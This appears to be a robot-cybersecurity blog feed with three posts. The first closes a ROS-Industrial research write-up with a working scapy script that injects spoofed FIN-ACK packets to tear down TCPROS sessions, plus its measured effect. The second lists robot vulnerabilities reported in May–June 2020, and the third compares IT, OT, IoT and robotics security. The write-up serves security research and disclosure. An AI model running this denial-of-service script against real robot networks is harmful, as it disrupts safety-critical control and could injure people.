<p>The previous <code>SYN-ACK</code> DoS flooding attack did not affect hardened control stations because it is blocked by <code>SYN cookies</code> at the Linux kernel level. I dug a bit further and looked for alternatives to disrupt ROS-Industrial communications, even in in the presence of hardening (at least to the best of my current knowledge).</p>
<p>After testing a variety of attacks against the ROS-Industrial network including <code>ACK and PUSH ACK</code> flooding, <code>ACK Fragmentation</code> flooding or <code>Spoofed Session</code> flooding among others, assuming the role of an attacker I developed a valid disruption proof-of-concept using the <code>FIN-ACK</code> attack.  Roughly, soon after a successful three or four-way <code>TCP-SYN</code> session is established, the <code>FIN-ACK</code> attack sends a <code>FIN</code> packet to close the <code>TCP-SYN</code> session between a host and a client machine. Given a <code>TCP-SYN</code> session established by ROSTCP between two entities wherein one is relying information of the robot to the other (running the ROS master) for coordination,  the <code>FIN-ACK</code> flood attack sends a large number of spoofed <code>FIN</code> packets that do not belong to any session on the target server. The attack has two consequences: first, it tries to exhaust a recipient's resources – its RAM, CPU, etc. as the target tries to process these invalid requests. Second, the communication is being constantly finalized by the attacker which leads to ROS messages being lost in the process, leading to the potential loss of relevant data or a significant lowering of the reception rate which might affect the performance of certain robotic algorithms.</p>
<p>The following script displays the simple proof-of-concept developed configured for validating the attack in the simplified isolated scenario.</p>
<pre><code class="language-python">&quot;&quot;&quot;
FIN-ACK attack for ROS

DISCLAIMER: Use against your own hosts only! By no means myself or my employer Alias Robotics encourage or promote the unauthorized tampering with running robotic systems. This can cause serious human harm and material
damages.
&quot;&quot;&quot;

from scapy.all import *
from robosploit.modules.generic.robotics.all import *
from robosploit.core.exploit import *
from robosploit.core.http.http_client import HTTPClient
from scapy.layers.inet import TCP
from scapy.layers.l2 import Ether
import sys

# bind layers so that packages are recognized as TCPROS
bind_layers(TCP, TCPROS)

def tcpros_fin_ack():
    &quot;&quot;&quot;
    crafting a FIN ACK interrupting publisher's comms
    &quot;&quot;&quot;
    flag_valid = True
    targetp = None
    targetp_ack = None
    # fetch 10 tcp packages
    while flag_valid:
        packages = sniff(iface=&quot;eth0&quot;, filter=&quot;tcp&quot;, count=4)
        if len(packages[TCPROSBody]) &lt; 1:
            continue
        else:
            # find first TCPROSBody and pick a target
            targetp = packages[TCPROSBody][-1]  # pick latest instance
            index = packages.index(packages[TCPROSBody][-1])
            for i in range(index + 1, len(packages)):
                targetp_ack = packages[i]
                # check if the ack matches appropriately
                if targetp[IP].src == targetp_ack[IP].dst and \
                        targetp[IP].dst == targetp_ack[IP].src and \
                        targetp[TCP].sport == targetp_ack[TCP].dport and \
                        targetp[TCP].dport == targetp_ack[TCP].sport and \
                        targetp[TCP].ack == targetp_ack[TCP].seq:
                    flag_valid = False
                    break

    if not flag_valid and targetp_ack and targetp:
        # Option 2
        p_attack =IP(src=targetp[IP].src, dst=targetp[IP].dst,id=targetp[IP].id + 1,ttl=99)\
            /TCP(sport=targetp[TCP].sport,dport=targetp[TCP].dport,flags=&quot;FA&quot;, seq=targetp_ack[TCP].ack,
            ack=targetp_ack[TCP].seq)

        ans = sr1(p_attack, retry=0, timeout=1)

        if ans and len(ans) &gt; 0 and ans[TCP].flags == &quot;FA&quot;:
            p_ack =IP(src=targetp[IP].src, dst=targetp[IP].dst,id=targetp[IP].id + 1,ttl=99)\
                /TCP(sport=targetp[TCP].sport,dport=targetp[TCP].dport,flags=&quot;A&quot;, seq=ans[TCP].ack,
                ack=ans[TCP].seq + 1)
            send(p_ack)

while True:
    tcpros_fin_ack()
</code></pre>
<p>The following figure shows the result of the <code>FIN-ACK</code> attack on a targeted machine. Image displays a significant reduction of the reception rate and down to more than half (4.940 Hz) from the designated 10 Hz of transmission. The information sent from the publisher consists of an iterative integer number however the data received in the target <em>under attack</em> shows significant integer jumps, which confirm the package losses. More elaborated attacks could be built upon using a time-sensitive approach. A time-sensitive approach could lead to more elaborated attacks.</p>
<p><img src="https://cybersecurityrobotics.net/content/images/2020/08/fin_ack_attack.png" alt="fin_ack_attack"></p>
<hr>
<p>Through these experiments it was shown how control stations running Ubuntu 18.04 do not protect by default ROS or ROS-Industrial deployments. Moreover, the guidelines offered by Canonical <sup class="footnote-ref"><a href="#fn1" id="fnref1:2">[1:2]</a></sup> for securing ROS are of little use against targeted attacks, as demonstrated.</p>
<blockquote>
<p>control stations running Ubuntu 18.04 do not protect ROS or ROS-Industrial deployments. Moreover, the guidelines offered by Canonical <sup class="footnote-ref"><a href="#fn1" id="fnref1:3">[1:3]</a></sup> for securing ROS are of little use against targeted attacks, as demonstrated.</p>
</blockquote>
<p>Certain ongoing hardening efforts for ROS Melodic <sup class="footnote-ref"><a href="#fn3" id="fnref3">[3]</a></sup> show a more promising approach to mitigate some issues but as indicated above, <mark>protecting ROS and ROS-Industrial robotic applications requires an end-to-end security approach and remains and open problem</mark> which won't be solved by solely passive hardening. My team at Alias Robotics has started testing a preliminary partial solution for protecting ROS Melodic with some clients which mixes hardening with a proactive defense approach, one that involves offensive actions. If you're interested to learn more or try it yourself, head to <a href="https://aliasrobotics.com/ris.php">https://aliasrobotics.com/ris.php</a> and reach out.</p>
<hr class="footnotes-sep">
<section class="footnotes">
<ol class="footnotes-list">
<li id="fn1" class="footnote-item"><p>Canonical, “Securing ROS robotics platforms,” Canonical, Tech. Rep., 2020 <a href="#fnref1" class="footnote-backref">↩︎</a> <a href="#fnref1:1" class="footnote-backref">↩︎</a> <a href="#fnref1:2" class="footnote-backref">↩︎</a> <a href="#fnref1:3" class="footnote-backref">↩︎</a></p>
</li>
<li id="fn2" class="footnote-item"><p>Which mostly live in the Application (7th) layer of the OSI stack <a href="#fnref2" class="footnote-backref">↩︎</a></p>
</li>
<li id="fn3" class="footnote-item"><p>R. Daruszka, J. L. Christopherson, R. Colvin, B. Erickson, D. Billing, D. Pace, E. Anderson, E. Pinto,F. Silverskär, J. Latten, K. Antonenko, K. Laevens, M. Cerri, M. Birch, M. Brijunas, M. Verbraak,M. Thompson, P. R. B, R. Jain, R. Thomas, T. Pietschmann, V. H. Pai, W. E. T. Iii, E. Pinnell, A. Pal,B. Hieber, T. Sjögren, J. Trigg, M. Woods, K. Karlsson, R. Costa, M. Saubier, S. Faber, and E. Pinnell,“Cis  ros  melodic  benchmark  v1.0.0,”  <a href="https://workbench.cisecurity.org/benchmarks/5207">https://workbench.cisecurity.org/benchmarks/5207</a>,  2020,accessed: 2020-08-17. <a href="#fnref3" class="footnote-backref">↩︎</a></p>
</li>
</ol>
</section>
<!--kg-card-end: markdown-->]]></content:encoded></item><item><title><![CDATA[Monthly reports on robot cybersecurity vulnerabilities - May and June 2020]]></title><description><![CDATA[A total of 23 robot cybersecurity vulnerabilities were reported from May to June 2020 according to the Robot Vulnerability Database (RVD). Vulnerabilities reported affect different vendors however a special mention should be made for Mobile Industrial Robots.]]></description><link>https://cybersecurityrobotics.net/monthly-reports-on-robot-cybersecurity-vulnerabilities-may-and-june-2020/</link><guid isPermaLink="false">5f0804250ae4c81c48521ace</guid><category><![CDATA[vulnerabilities]]></category><category><![CDATA[robotics]]></category><category><![CDATA[cybersecurity]]></category><category><![CDATA[2020]]></category><category><![CDATA[June]]></category><category><![CDATA[May]]></category><dc:creator><![CDATA[Víctor Mayoral Vilches]]></dc:creator><pubDate>Fri, 10 Jul 2020 06:45:15 GMT</pubDate><content:encoded><![CDATA[<!--kg-card-begin: markdown--><p>A total of <mark>23 robot cybersecurity vulnerabilities</mark>  (most shipping with new CVE IDs) were reported from <strong>May to June 2020</strong> according to the <a href="https://github.com/aliasrobotics/RVD">Robot Vulnerability Database (RVD)</a>. Vulnerabilities reported affect different manufacturers however <ins>a special mention should be made for Mobile Industrial Robots</ins> who has been reported to ship insecure products with more than 10 cyber security vulnerabilities, several of them of high criticality and affecting several downstream robots. Most affected manufacturers by the reports include:</p>
<ul>
<li>Mobile Industrial Robots</li>
<li>UVD Robots (manufacturer and vendor of robots for autonomous disinfection during COVID-19)</li>
<li>EnabledRobotics</li>
<li>EasyRobotics</li>
<li>Robotplus</li>
</ul>
<p>For previous entries, refer to the following list:</p>
<ul>
<li><a href="https://cybersecurityrobotics.net/robot-cybersecurity-vulnerabilities-april-2020/">April 2020</a></li>
<li><a href="#">May and June 2020 (<strong>this one</strong>)</a></li>
</ul>
<h3 id="vulnerabilities">Vulnerabilities</h3>
<div class="responsive-table">
<table>
<thead>
<tr>
<th>ID</th>
<th>Type</th>
<th>Manufacturer/s</th>
<th>Title</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/aliasrobotics/RVD/issues/3320">RVD#3320</a></td>
<td>vulnerability</td>
<td>Mitsubishi</td>
<td>RVD#3320: XML External Entity (XXE) attacks via unspecified vectors on Mitsubishi products</td>
</tr>
<tr>
<td><a href="https://github.com/aliasrobotics/RVD/issues/3319">RVD#3319</a></td>
<td>vulnerability</td>
<td>Mitsubishi</td>
<td>RVD#3319: Uncontrolled resource consumption vulnerability in Mitsubishi products allows denial of service (DoS) attacks</td>
</tr>
<tr>
<td><a href="https://github.com/aliasrobotics/RVD/issues/3318">RVD#3318</a></td>
<td>vulnerability</td>
<td>ABB</td>
<td>RVD#3318: XSS-like attacks for authenticated users in ABB System 800xA Information Manager</td>
</tr>
<tr>
<td><a href="https://github.com/aliasrobotics/RVD/issues/3317">RVD#3317</a></td>
<td>vulnerability</td>
<td>PX4</td>
<td>RVD#3317: MAVLink version handshaking allows for an attacker to bypass authentication</td>
</tr>
<tr>
<td><a href="https://github.com/aliasrobotics/RVD/issues/3316">RVD#3316</a></td>
<td>vulnerability</td>
<td>PX4</td>
<td>RVD#3316: No authentication in MAVLink protocol</td>
</tr>
<tr>
<td><a href="https://github.com/aliasrobotics/RVD/issues/3315">RVD#3315</a></td>
<td>vulnerability</td>
<td>PX4</td>
<td>RVD#3315: Cleartext transmission of sensitive information in MAVLink protocol version 1.0 and 2.0</td>
</tr>
<tr>
<td><a href="https://github.com/aliasrobotics/RVD/issues/2573">RVD#2573</a></td>
<td>vulnerability</td>
<td>DBPOWER</td>
<td>RVD#2573: The DBPOWER U818A WIFI quadcopter drone provides FTP access over</td>
</tr>
<tr>
<td><a href="https://github.com/aliasrobotics/RVD/issues/2569">RVD#2569</a></td>
<td>vulnerability</td>
<td>Mobile Industrial Robots A/S, EasyRobotics, Enabled Robotics, UVD Robots, Robotplus</td>
<td>RVD#2569: Insecure operating system defaults in MiR robots</td>
</tr>
<tr>
<td><a href="https://github.com/aliasrobotics/RVD/issues/2568">RVD#2568</a></td>
<td>vulnerability</td>
<td>Mobile Industrial Robots A/S, EasyRobotics, Enabled Robotics, UVD Robots, Robotplus</td>
<td>RVD#2568: Apache server is vulnerable to a DoS</td>
</tr>
<tr>
<td><a href="https://github.com/aliasrobotics/RVD/issues/2566">RVD#2566</a></td>
<td>vulnerability</td>
<td>Mobile Industrial Robots A/S, EasyRobotics, Enabled Robotics, UVD Robots, Robotplus</td>
<td>RVD#2566: Hardcoded Credentials on MiRX00 wireless Access Point</td>
</tr>
<tr>
<td><a href="https://github.com/aliasrobotics/RVD/issues/2565">RVD#2565</a></td>
<td>vulnerability</td>
<td>Mobile Industrial Robots A/S, EasyRobotics, Enabled Robotics, UVD Robots, Robotplus</td>
<td>RVD#2565: Weak token generation for the REST API.</td>
</tr>
<tr>
<td><a href="https://github.com/aliasrobotics/RVD/issues/2564">RVD#2564</a></td>
<td>vulnerability</td>
<td>Mobile Industrial Robots A/S, EasyRobotics, Enabled Robotics, UVD Robots, Robotplus</td>
<td>RVD#2564: The xfrm_replay_verify_len function does not validate certain size data after an XFRM_MSG_NEWAE update, which allows local users to obtain root privileges or cause a DoS</td>
</tr>
<tr>
<td><a href="https://github.com/aliasrobotics/RVD/issues/2563">RVD#2563</a></td>
<td>vulnerability</td>
<td>Mobile Industrial Robots A/S, EasyRobotics, Enabled Robotics, UVD Robots, Robotplus</td>
<td>RVD#2563: The perf_cpu_time_max_percent_handler function in the Linux kernel allows local users to cause a denial of service.</td>
</tr>
<tr>
<td><a href="https://github.com/aliasrobotics/RVD/issues/2562">RVD#2562</a></td>
<td>vulnerability</td>
<td>Mobile Industrial Robots A/S, EasyRobotics, Enabled Robotics, UVD Robots, Robotplus</td>
<td>RVD#2562: Booting from a live image leads to exfiltration of sensible information and privilege escalation</td>
</tr>
<tr>
<td><a href="https://github.com/aliasrobotics/RVD/issues/2561">RVD#2561</a></td>
<td>vulnerability</td>
<td>Mobile Industrial Robots A/S, EasyRobotics, Enabled Robotics, UVD Robots, Robotplus</td>
<td>RVD#2561: Unprotected BIOS allows user to boot from live OS image.</td>
</tr>
<tr>
<td><a href="https://github.com/aliasrobotics/RVD/issues/2560">RVD#2560</a></td>
<td>vulnerability</td>
<td>Mobile Industrial Robots A/S, EasyRobotics, Enabled Robotics, UVD Robots, Robotplus</td>
<td>RVD#2560: Unprotected intellectual property in Mobile Industrial Robots (MiR) controllers</td>
</tr>
<tr>
<td><a href="https://github.com/aliasrobotics/RVD/issues/2559">RVD#2559</a></td>
<td>vulnerability</td>
<td>Mobile Industrial Robots A/S, EasyRobotics, Enabled Robotics, UVD Robots, Robotplus</td>
<td>RVD#2559: net/netfilter/xt_osf.c does not require the CAP_NET_ADMIN for add_callback or remove_callback operations, allows local users to bypass intended access restrictions</td>
</tr>
<tr>
<td><a href="https://github.com/aliasrobotics/RVD/issues/2558">RVD#2558</a></td>
<td>vulnerability</td>
<td>Mobile Industrial Robots A/S, EasyRobotics, Enabled Robotics, UVD Robots, Robotplus</td>
<td>RVD#2558: Default credentials on SICK PLC allows disabling safety features</td>
</tr>
<tr>
<td><a href="https://github.com/aliasrobotics/RVD/issues/2557">RVD#2557</a></td>
<td>vulnerability</td>
<td>Mobile Industrial Robots A/S, EasyRobotics, Enabled Robotics, UVD Robots, Robotplus</td>
<td>RVD#2557: Hardcoded Credentials on MiRX00 Control Dashboard</td>
</tr>
<tr>
<td><a href="https://github.com/aliasrobotics/RVD/issues/2556">RVD#2556</a></td>
<td>vulnerability</td>
<td>Mobile Industrial Robots A/S, EasyRobotics, Enabled Robotics, UVD Robots, Robotplus</td>
<td>RVD#2556: MiR REST API allows for data exfiltration by unauthorized attackers (e.g. indoor maps)</td>
</tr>
<tr>
<td><a href="https://github.com/aliasrobotics/RVD/issues/2555">RVD#2555</a></td>
<td>vulnerability</td>
<td>Mobile Industrial Robots A/S, EasyRobotics, Enabled Robotics, UVD Robots, Robotplus</td>
<td>RVD#2555: MiR ROS computational graph is exposed to all network interfaces, including poorly secured wireless networks and open wired ones</td>
</tr>
<tr>
<td><a href="https://github.com/aliasrobotics/RVD/issues/2554">RVD#2554</a></td>
<td>vulnerability</td>
<td>Mobile Industrial Robots A/S, EasyRobotics, Enabled Robotics, UVD Robots, Robotplus</td>
<td>RVD#2554: MiR ROS computational graph presents no authentication mechanisms</td>
</tr>
<tr>
<td><a href="https://github.com/aliasrobotics/RVD/issues/1877">RVD#1877</a></td>
<td>vulnerability</td>
<td>Softbank Robotics</td>
<td>RVD#1877: Hard coded username makes pepper and NAO susceptible to a Brute force attack.</td>
</tr>
</tbody>
</table>
</div>
<!--kg-card-end: markdown-->]]></content:encoded></item><item><title><![CDATA[IT, OT, IoT and Robotics, a security comparison]]></title><description><![CDATA[Cyber security aspects that apply to different domains including IT, OT, IoT or  robotics are analyzed and compared  together. ]]></description><link>https://cybersecurityrobotics.net/it-ot-iot-and-robotics-security-comparison/</link><guid isPermaLink="false">5e9726a88c3931223010ae76</guid><category><![CDATA[IT]]></category><category><![CDATA[OT]]></category><category><![CDATA[robotics]]></category><category><![CDATA[IoT]]></category><dc:creator><![CDATA[Víctor Mayoral Vilches]]></dc:creator><pubDate>Tue, 23 Jun 2020 08:37:48 GMT</pubDate><content:encoded><![CDATA[<!--kg-card-begin: markdown--><p>Security is often defined as the state of being free from danger or threat. But what does this mean in practice? What does it imply to be <em>free from danger</em>? Is it the same in enterprise and industrial systems? Well, short answer: no, it's not. Several reasons but one important is that the <ins>underlying technological architectures for each one of these environments, though shares technical bits, are significantly different which leads to a different interpretation of what security (again, being <em>free from danger and threats</em>) requires</ins>.</p>
<p>This short essay analyzes some of the cyber security aspects that apply in different domains including IT, OT, IoT or  robotics and compares them together. Particularly, the article focuses on clarifying how robotics differs from other technology areas and how a lack of clarity is leading to leave the user heavily unprotected against cyber attacks. Ultimately, this piece argues on why cyber security in robotics will be more important than in any other technology due to its safety implications, including IT, OT or even IoT.</p>
<h3 id="introducingsomecommonterms">Introducing some common terms</h3>
<p>Over the years, additional wording has developed to specify security for different contexts. Generically, and from my readings, we commonly refer to cyber security (or cybersecurity, shortened as just &quot;security&quot;) as the <mark>state of a given system of being free from cyber dangers or cyber threats, those digital</mark>. As pointed out, we often mix &quot;security&quot; associated with  terms that further specify the domain of application, e.g. we often hear things such as <code>IT security</code> or <code>OT security</code>.</p>
<p><img src="https://cybersecurityrobotics.net/content/images/2020/06/IT_OT_IoT_robotics_ccomparison.png" alt="IT_OT_IoT_robotics_comparison"></p>
<p>During the past two years, while reading, learning, attending to security conferences and participating on them, I've seen how both security practitioners and manufacturers caring about security do not clearly differentiate between <code>IT</code>, <code>OT</code>, <code>IoT</code> or <code>robotics</code>. Moreover, it's often a topic for arguments the comparison between <code>IT</code> and <code>IT security</code>. The following definitions aim to shed some light into this common topic:</p>
<ul>
<li><strong>Information Technology (IT)</strong>:  the use of computers to store, retrieve, transmit, and manipulate <mark>data or information</mark> <ins>throughout and between organizations</ins><sup class="footnote-ref"><a href="#fn1" id="fnref1">[1]</a></sup>.</li>
<li><strong>Operational Technology (OT)</strong>: the technology that manages <mark>industrial operations</mark> by monitoring and controlling specific devices and processes within <ins>industrial workflows and operations</ins>, as opposed to administrative (IT) operations.  This term is very closely related to:</li>
<li><strong>Industrial Control System (ICS)</strong>: is a major segment within the OT sector that comprises those systems that are used to monitor and control the industrial processes. ICS is a general term that encompasses several types of control systems (e.g. SCADA, DCS) in industry and can be understood as a <ins>subset of OT</ins>.</li>
<li><strong>Internet of the Things (IoT)</strong>: an extension of the Internet and other network connections to different sensors and devices — or &quot;things&quot; — affording even simple objects, such as lightbulbs, locks, and vents, a higher degree of computing and analytical capabilities. The IoT can be understood as an <ins>extension of the Internet and other network connections to different sensors and devices</ins>.</li>
<li><strong>Industrial Internet of the Things (IIoT)</strong>: refers to the extension and use of the <ins>Internet of Things (IoT) in industrial sectors</ins> and applications.</li>
<li><strong>robotics</strong>: A robot is a system of systems. One that comprises sensors to perceive its environment, actuators to act on it and computation to process it all and respond coherently to its application (could be industrial, professional, etc.). Robotics is the art of system integration. An art that aims to build machines that operate autonomously.</li>
</ul>
<blockquote>
<p>Robotics is the art of system integration. Robots are systems of systems, devices that operate autonomously.</p>
</blockquote>
<p>It's important to highlight that all the previous definitions <mark>refer to technologies</mark>. Some are domain specific (e.g. OT) while others are agnostic to the domain (e.g. robotics) but <strong>each one of them are means that serve the user for and end</strong>.</p>
<h3 id="comparingthesecurityacrossthesetechnologies">Comparing the security across these technologies</h3>
<p>Again, IT, OT, ICS, IoT, IIoT and robotics <ins>are all technologies</ins>. As such, each one of these is subject to operate securely, that is, free from danger or threats. For each one of these technologies, though might differ from each other, one may wonder, how do I apply security?</p>
<p>Let's look at what literature says about the security comparison of some of these:</p>
<p>From <sup class="footnote-ref"><a href="#fn2" id="fnref2">[2]</a></sup>:<br>
<em>Initially, ICS had little resemblance to IT systems in that ICS were isolated systems running proprietary control protocols using specialized hardware and software. Widely available, low-cost Ethernet and Internet Protocol (IP) devices are now replacing the older proprietary technologies, which increases the possibility of cybersecurity vulnerabilities and incidents. As ICS are adopting IT solutions to promote corporate connectivity and remote access capabilities, and are being designed and implemented using industry standard computers, operating systems (OS) and network protocols, they are starting to resemble IT systems. This integration supports new IT capabilities, but it provides significantly less isolation for ICS from the outside world than predecessor systems, creating a greater need to secure these systems. While security solutions have been designed to deal with these security issues in typical IT systems, special precautions must be taken when introducing these same solutions to ICS environments. In some cases, new security solutions are needed that are tailored to the ICS environment.</em></p>
<p>While Stouffer et al. <sup class="footnote-ref"><a href="#fn2" id="fnref2:1">[2:1]</a></sup> focus on comparing ICS and IT, a similar rationale can easily apply to OT (as a superset of ICS).</p>
<p>To some, the phenomenon referred to as <code>IoT</code> is in large part about the physical merging of many traditional <code>OT</code> and <code>IT</code> components. There are many comparisons in literature (e.g. <sup class="footnote-ref"><a href="#fn3" id="fnref3">[3]</a></sup> an interesting one that also touches into cloud systems, which I won't get into now) but most seem to agree that while I-o-T aims to merge both <code>IT</code> and <code>OT</code>, the security of <code>IoT</code> technologies requires a different skill set. In other words, the security of <code>IoT</code> should be treated independently to the one of <code>IT</code> or <code>OT</code>. Let's look at some representations:</p>
<figure class="kg-card kg-gallery-card kg-width-wide kg-card-hascaption">
    <div class="kg-gallery-container">
        <div class="kg-gallery-row">
            <div class="kg-gallery-image" style="flex: 1.26206 1 0%;">
                <img src="https://cybersecurityrobotics.net/content/images/2020/06/tech_comparison_IoT_big.png" class="lightense-target" width="968" height="767">
            </div>
            <div class="kg-gallery-image" style="flex: 1.41496 1 0%;">
                <img src="https://cybersecurityrobotics.net/content/images/2020/06/tech_comparison_IoT_small.png" class="lightense-target" width="965" height="682">
            </div>
        </div>
    </div>
    <figcaption>Two representations of IT, OT, IoT and robotics.</figcaption>
</figure>
<p>What about robotics then? How does the security in robotics compare to the one in <code>IoT</code> or <code>IT</code>? Arguably, robotic systems are significantly more complex than the corresponding ones in <code>IT</code>, <code>OT</code> or even <code>IoT</code> setups. Shouldn't security be treated differently then as well? I definitely believe so and while much can be learned from other technologies, robotics deserves its own security treatment. Specially because I strongly believe that:</p>
<blockquote>
<p>cyber security in robotics will be more important than in any other technology due to its safety implications, including IT, OT or even IoT.</p>
</blockquote>
<p>Of course, I'm a roboticist so expect a decent amount of bias on this claim. Let me however further argue on this. The following table is inspired by processing and extending <sup class="footnote-ref"><a href="#fn2" id="fnref2:2">[2:2]</a></sup> and <sup class="footnote-ref"><a href="#fn4" id="fnref4">[4]</a></sup> for robotics while including other works such as <sup class="footnote-ref"><a href="#fn3" id="fnref3:1">[3:1]</a></sup>, among others:</p>
<p><br><br></p>
<div class="responsive-table">
<table>
<thead>
<tr>
<th><ins>Security topic</ins></th>
<th><ins>IT</ins></th>
<th><ins>OT (ICS)</ins></th>
<th><ins>I(I)oT</ins></th>
<th><ins>Robotics</ins></th>
</tr>
</thead>
<tbody>
<tr>
<td><strong>Antivirus</strong></td>
<td>widely used, easily updated</td>
<td>complicated and often imposible, network detection and prevention solutions mostly</td>
<td>Similarly complicated, lots of technology fragmentation (different RTOSs, embedded frameworks and communication paradigms), network detection and prevention solutions exist</td>
<td><mark>complicated</mark> and complex due to the technology nature, very few existing solutions (e.g. <a href="https://aliasrobotics.com/ris.php">RIS</a>), network monitoring and prevention isn't enough due to safety implications</td>
</tr>
<tr>
<td><strong>Life cycle</strong></td>
<td>3-5 years</td>
<td>10-20 years</td>
<td>5-10 years</td>
<td><mark>10+ years</mark></td>
</tr>
<tr>
<td><strong>Awareness</strong></td>
<td>Decent</td>
<td>Poor</td>
<td>Poor</td>
<td><mark>None</mark></td>
</tr>
<tr>
<td><strong>Patch management</strong></td>
<td>Often</td>
<td>Rare, requires approval from plant manufacturers</td>
<td>Rare, often requires permission (and/or action) from end-user</td>
<td><mark>Very rare</mark>, production implications, complex set ups</td>
</tr>
<tr>
<td><strong>Change Management</strong></td>
<td>Regular and scheduled</td>
<td>Rare</td>
<td>Rare</td>
<td><mark>Very rare</mark>, often specialized technitians</td>
</tr>
<tr>
<td><strong>Evaluation of log files</strong></td>
<td>Established practice</td>
<td>Unusual practice</td>
<td>Unusual practice</td>
<td><mark>Non-established practice</mark></td>
</tr>
<tr>
<td><strong>Time dependency</strong></td>
<td>Delays Accepted</td>
<td>Critical</td>
<td>Some delays accepted (depends of domain of application, e.g. IIoT might be more sensitive)</td>
<td><mark>Critical</mark>, both inter and intra robot communications</td>
</tr>
<tr>
<td><strong>Availability</strong></td>
<td>Not always available, failures accepted</td>
<td>24*7</td>
<td>Some failures accepted (again, domain specific)</td>
<td><mark>24*7 available</mark></td>
</tr>
<tr>
<td><strong>Integrity</strong></td>
<td>Failures accepted</td>
<td>Critical</td>
<td>Some failures accepted (again, domain specific)</td>
<td><mark>Critical</mark></td>
</tr>
<tr>
<td><strong>Confidentiality</strong></td>
<td>Critical</td>
<td>Relevant</td>
<td>Important</td>
<td><mark>Important</mark></td>
</tr>
<tr>
<td><strong>Safety</strong></td>
<td>Not relevant (does not apply generally)</td>
<td>Relevant</td>
<td>Not relevant (though depends of domain of application, but IoT systems are not known for their safety concerns)</td>
<td><mark>Critical</mark>, autonomous systems may easily compromise safety if not operating as expected</td>
</tr>
<tr>
<td><strong>Security tests</strong></td>
<td>Widespread</td>
<td>Rare and problematic (infrastructure restrictions, etc.)</td>
<td>Rare</td>
<td><mark>Mostly not present</mark> (<a href="https://aliasrobotics.com/security-assessment.php">first services of this kind for robotics</a> are starting to appear)</td>
</tr>
<tr>
<td><strong>Testing environment</strong></td>
<td>Available</td>
<td>Rarely available</td>
<td>Rarely available</td>
<td><mark>Rare</mark> and difficult to reproduce</td>
</tr>
<tr>
<td><strong>Determinism requirements</strong> (refer to <sup class="footnote-ref"><a href="#fn5" id="fnref5">[5]</a></sup> for definitions)</td>
<td>Non-real-time. Responses must be consistent. High throughput is demanded. High delay and jitter may be acceptable. Less critical emergency interaction. Tightly restricted access control can be implemented to the degree necessary for security</td>
<td>Hard real-time. Response is time-critical. Modest throughput is acceptable. High delay and/or jitter is not acceptable. Response to human and other emergency interaction is critical. Access to ICS should be strictly controlled, but should not hamper or interfere with human-machine interaction</td>
<td>Often non-real-time, though some environment will require soft or firm real-time</td>
<td><mark>Hard real-time requirements</mark> for safety critical applications and <mark>firm/soft real-time</mark> for other tasks</td>
</tr>
</tbody>
</table>
</div>
<p>Looking at this table and comparing the different technologies, it seems reasonable to admit that robotics receives some of the heaviest restrictions when it comes to the different security properties, certainly, much more than IoT or IT.</p>
<p>Still, why do robotic manufacturers focus solely on <code>IT</code> security?</p>
<h3 id="amisunderstandingthatusersarepayingheavilyinrobotics">A misunderstanding that users are paying heavily in robotics</h3>
<p>As pointed out, it's not few that misunderstand <code>IT</code> security with <code>robotics</code> security. One of the best examples I've recently seen is how Mobie Industrial Robots (MiR) engineering team (lead members!) care <strong>only</strong> about <code>IT</code> security, though I've repeatedly indicated them that this is a <strong>mistake</strong> and <mark>they should have a wider perspective of what security aspects they should consider when dealing with robotics technology</mark>:</p>
<figure class="kg-card kg-gallery-card kg-width-wide kg-card-hascaption">
    <div class="kg-gallery-container">
        <div class="kg-gallery-row">
            <div class="kg-gallery-image" style="flex: 1.26206 1 0%;">
                <img src="https://cybersecurityrobotics.net/content/images/2020/06/mir-it-security.png" class="lightense-target" width="900">
            </div>
            <div class="kg-gallery-image" style="flex: 1.41496 1 0%;">
                <img src="https://cybersecurityrobotics.net/content/images/2020/06/mir-it-improve.png" class="lightense-target" width="900">
            </div>
        </div>
    </div>
    <figcaption>Images from Mobile Industrial Robots (MiR) documentation indicating a purely `IT` security approach.</figcaption>
</figure>
<p>Since they indicated <code>IT</code> security, one would expect them to care also for <code>OT</code> (since these robots operate on many industrial scenarios), however there's none. There are no sections for <code>OT</code> security and much less, a proper threat modeling that fits security to this particular robotic technology. None.</p>
<p>Knowing that sources like <sup class="footnote-ref"><a href="#fn6" id="fnref6">[6]</a></sup> already mix up <code>IT</code> security with <em>cyber security</em>, overall, I've spent decent amount of time (and meetings) to explain the difference, highlight the importance of caring about security holistically and convincing some managers and decision makers in robotics about this (including MiR!).</p>
<p>MiR presents one of the several examples out there of how a lack of concern, care and understanding of security for robotics is making end users exposed to hazards. Similar to MiR, other companies including Universal Robots (UR) or Teradyne (matrix of both MiR and UR) don't seem to really care about security and for now, continue profiting their <a href="https://cybersecurityrobotics.net/a-compromised-supply-chain-of-robots/">insecure supply chain</a>.</p>
<p>Safety hazards in robotics don't just impact privacy (as in <code>IT</code>), a compromised robot can damage humans and the environment. End users should demand a minimum of security from robot manufacturers. Action must be taken now by manufacturers and they should pro-actively invest in securing their systems.</p>
<hr class="footnotes-sep">
<section class="footnotes">
<ol class="footnotes-list">
<li id="fn1" class="footnote-item"><p>Information technology. (2020). Retrieved June 23, 2020, from <a href="https://en.wikipedia.org/wiki/Information_technology">https://en.wikipedia.org/wiki/Information_technology</a>. <a href="#fnref1" class="footnote-backref">↩︎</a></p>
</li>
<li id="fn2" class="footnote-item"><p>Stouffer, K., Falco, J., &amp; Scarfone, K. (2011). Guide to industrial control systems (ICS) security. NIST special publication, 800(82), 16-16. <a href="#fnref2" class="footnote-backref">↩︎</a> <a href="#fnref2:1" class="footnote-backref">↩︎</a> <a href="#fnref2:2" class="footnote-backref">↩︎</a></p>
</li>
<li id="fn3" class="footnote-item"><p>Atlam, Hany &amp; Alenezi, Ahmed &amp; Alshdadi, Abdulrahman &amp; Walters, Robert &amp; Wills, Gary. (2017). Integration of Cloud Computing with Internet of Things: Challenges and Open Issues. 10.1109/iThings-GreenCom-CPSCom-SmartData.2017.105. <a href="#fnref3" class="footnote-backref">↩︎</a> <a href="#fnref3:1" class="footnote-backref">↩︎</a></p>
</li>
<li id="fn4" class="footnote-item"><p>TUViT, TÜV NORD GROUP. Whitepaper Industrial Security based on IEC 62443 <a href="https://www.tuvit.de/fileadmin/Content/TUV_IT/pdf/Downloads/WhitePaper/whitepaper-iec-62443.pdf">https://www.tuvit.de/fileadmin/Content/TUV_IT/pdf/Downloads/WhitePaper/whitepaper-iec-62443.pdf</a> <a href="#fnref4" class="footnote-backref">↩︎</a></p>
</li>
